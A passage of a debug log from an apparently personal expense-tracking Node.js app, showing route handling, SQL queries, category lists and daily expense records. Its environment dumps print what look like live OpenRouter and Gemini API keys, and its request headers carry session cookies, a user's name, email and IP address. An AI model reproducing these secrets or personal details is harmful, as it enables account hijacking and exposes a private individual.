    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimu soda',
    item_id: 141,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Flavored Mojito',
    item_id: 281,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Rajbhog Shake',
    item_id: 294,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Mojito',
    item_id: 296,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lassi',
    item_id: 298,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Choco Freaky Shake',
    item_id: 317,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Thick Shake',
    item_id: 331,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Shake',
    item_id: 333,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Labab shake',
    item_id: 349,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mix Fruit Shake',
    item_id: 351,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Chochlate Shake',
    item_id: 352,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Freaky shake',
    item_id: 357,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Black Current shake',
    item_id: 361,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Juice',
    item_id: 400,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Monster Energy Drink',
    item_id: 420,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Fruit Juice',
    item_id: 466,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lays Classic',
    item_id: 467,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tonic WaterSchweppes',
    item_id: 478,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hell Energy Drink',
    item_id: 479,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Soda',
    item_id: 485,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kesar Pista Shake',
    item_id: 497,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Predator Energy Drink',
    item_id: 516,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sting Enery Drink',
    item_id: 520,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Soda Ice cream',
    item_id: 522,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bombay Banta',
    item_id: 528,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Coke Sugar Free',
    item_id: 537,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Charged Energy Drink',
    item_id: 545,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Orange Juice',
    item_id: 576,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Alo Energy Drink',
    item_id: 659,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Iced Americano Cold Coffee',
    item_id: 660,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Gulkand Pan Shake',
    item_id: 700,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hersheys Milk Shake',
    item_id: 716,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Motherdairy Masala Chach',
    item_id: 718,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bale Juice',
    item_id: 723,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Anar Juice',
    item_id: 726,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimbu Juice',
    item_id: 731,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Badam Shake',
    item_id: 733,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'House Premium',
    item_id: 45,
    category_name: 'Bills, EMIs & Subscriptions'
  },
  ... 614 more items
]
2026-07-30T08:53:05.066Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'sanjay@example.com',
  id: 1
}
2026-07-30T08:53:08.431Z server-connect:router Serving templateView /collections
2026-07-30T08:53:08.431Z server-connect:app Executing action step identify
2026-07-30T08:53:08.431Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:08.431Z server-connect:output identity: 14
2026-07-30T08:53:08.431Z server-connect:app Executing action step restrict
2026-07-30T08:53:08.432Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:08.433Z server-connect:output restrict: undefined
2026-07-30T08:53:08.433Z server-connect:router Render template masters/collections
2026-07-30T08:53:08.433Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-31T08:53:02.801Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 14
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 14
}
2026-07-30T08:53:08.667Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-07-30T08:53:08.668Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-07-30T08:53:08.668Z server-connect:app Executing action step identify
2026-07-30T08:53:08.668Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:08.669Z server-connect:output identity: 14
2026-07-30T08:53:08.669Z server-connect:app Executing action step restrict
2026-07-30T08:53:08.669Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:08.669Z server-connect:app Executing action step identify
2026-07-30T08:53:08.669Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:08.669Z server-connect:output identity: 14
2026-07-30T08:53:08.669Z server-connect:app Executing action step restrict
2026-07-30T08:53:08.669Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:08.670Z server-connect:output restrict: undefined
2026-07-30T08:53:08.670Z server-connect:app Executing action step select
2026-07-30T08:53:08.670Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-07-30T08:53:08.671Z server-connect:output restrict: undefined
2026-07-30T08:53:08.671Z server-connect:app Executing action step paged
2026-07-30T08:53:08.671Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-07-30T08:53:08.673Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' },
  { id: 15, name: 'Online Platform' },
  { id: 16, name: 'Inventory Category' }
]
2026-07-30T08:53:08.677Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 245,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 225 },
    current: 1,
    total: 10
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-07-30T08:53:10.088Z server-connect:router Serving templateView /expense/list
2026-07-30T08:53:10.089Z server-connect:app Executing action step identify
2026-07-30T08:53:10.089Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:10.089Z server-connect:output identity: 14
2026-07-30T08:53:10.089Z server-connect:app Executing action step restrict
2026-07-30T08:53:10.090Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-30T08:53:10.090Z server-connect:output restrict: undefined
2026-07-30T08:53:10.090Z server-connect:router Render template expense/list
2026-07-30T08:53:10.091Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-31T08:53:02.801Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 14
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Awsw1BJgIH%2BfZI5hxuATnjA%3D%3D.fdrEdUEeox1jdydPX0sMNS8omGeW7GjgvVHO6Xc1TYAR6cEN8GLhsqE%2BEqkt2WCYPEe1LxgxQNmJ6Y%2FN%2FgMMcH86bs%2Byx%2BFjElvyxmIrEtK3RwOLTq%2F0u9inUGntd5xTxCh5oUuZRk2Xx4RgEDieLFe0AbIDZwJrotI%2BdW7arIc%3D.EAXlarOe93hyKo3xlYVK1zaWrIghvl8ltxB33U5UTM4; your_r_git.sid=s%3A45lE8Ye2Jlpp_zipIBTK7qObACdgOWap.DkOYaJ3buF83Uyo6amki0dXYocOdDn%2FN9njxn%2FG2cMA',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 14
}
2026-07-30T08:53:10.333Z server-connect:router Serving serverConnect /api/expense/list
2026-07-30T08:53:10.377Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-07-30T08:53:10.378Z server-connect:app Executing action step identify
2026-07-30T08:53:10.378Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:10.378Z server-connect:output identity: 14
2026-07-30T08:53:10.378Z server-connect:app Executing action step restrict
2026-07-30T08:53:10.378Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:10.379Z server-connect:app Executing action step identify
2026-07-30T08:53:10.379Z server-connect:app options: { provider: 'security' }
2026-07-30T08:53:10.379Z server-connect:output identity: 14
2026-07-30T08:53:10.379Z server-connect:app Executing action step restrict
2026-07-30T08:53:10.379Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-30T08:53:10.380Z server-connect:output restrict: undefined
2026-07-30T08:53:10.380Z server-connect:app Executing action step paged
2026-07-30T08:53:10.380Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-07-30T08:53:10.382Z server-connect:output restrict: undefined
2026-07-30T08:53:10.382Z server-connect:app Executing action step select
2026-07-30T08:53:10.382Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-07-30T08:53:10.384Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-07-30T08:53:10.394Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 2512,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 2500 },
    current: 1,
    total: 101
  },
  data: [
    {
      invoice_number: 12873,
      quantity: '1.00',
      purchase_date: '2026-07-29T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '36.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 12871,
      quantity: '1.00',
      purchase_date: '2026-07-28T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '30.00',
      item_name: 'Mausmi Juice',
      unit: 'Glass'
    },
    {
      invoice_number: 12872,
      quantity: '2.00',
      purchase_date: '2026-07-28T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '20.00',
      item_name: 'Water Bottle',
      unit: 'Bottle'
    },
    {
      invoice_number: 12874,
      quantity: '1.00',
      purchase_date: '2026-07-28T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '110.00',
      item_name: 'Petrol',
      unit: 'Other'
    },
    {
      invoice_number: 12875,
      quantity: '1.00',
      purchase_date: '2026-07-28T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '60.00',
      item_name: 'Blueberry Soda',
      unit: 'Other'
    },
    {
      invoice_number: 12875,
      quantity: '1.00',
      purchase_date: '2026-07-28T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '40.00',
      item_name: 'Tanduri Corn',
      unit: 'Glass'
    },
    {
      invoice_number: 12876,
      quantity: '200.00',
      purchase_date: '2026-07-28T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '80.00',
      item_name: 'Ajwain',
      unit: 'GM'
    },
    {
      invoice_number: 12877,
      quantity: '1.00',
      purchase_date: '2026-07-28T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '769.00',
      item_name: 'Dinner',
      unit: 'Other'
    },
    {
      invoice_number: 12869,
      quantity: '1.00',
      purchase_date: '2026-07-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '30.00',
      item_name: 'Mausmi Juice',
      unit: 'Glass'
    },
    {
      invoice_number: 12870,
      quantity: '1.00',
      purchase_date: '2026-07-27T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '20.00',
      item_name: 'Water Bottle',
      unit: 'Bottle'
    },
    {
      invoice_number: 12854,
      quantity: '1.00',
      purchase_date: '2026-07-26T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '300.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 12855,
      quantity: '4.00',
      purchase_date: '2026-07-26T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '100.00',
      item_name: 'Pyaz',
      unit: 'KG'
    },
    {
      invoice_number: 12865,
      quantity: '1.00',
      purchase_date: '2026-07-26T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 12866,
      quantity: '1.00',
      purchase_date: '2026-07-26T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '190.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 12868,
      quantity: '1.00',
      purchase_date: '2026-07-26T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '30.00',
      item_name: 'Medicines',
      unit: 'Other'
    },
    {
      invoice_number: 12860,
      quantity: '2.50',
      purchase_date: '2026-07-25T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '200.00',
      item_name: 'Mangoes',
      unit: 'KG'
    },
    {
      invoice_number: 12861,
      quantity: '1.00',
      purchase_date: '2026-07-25T18:30:00.000Z',
      receipt_url: null,
      remark: '',
      amount: '89.00',
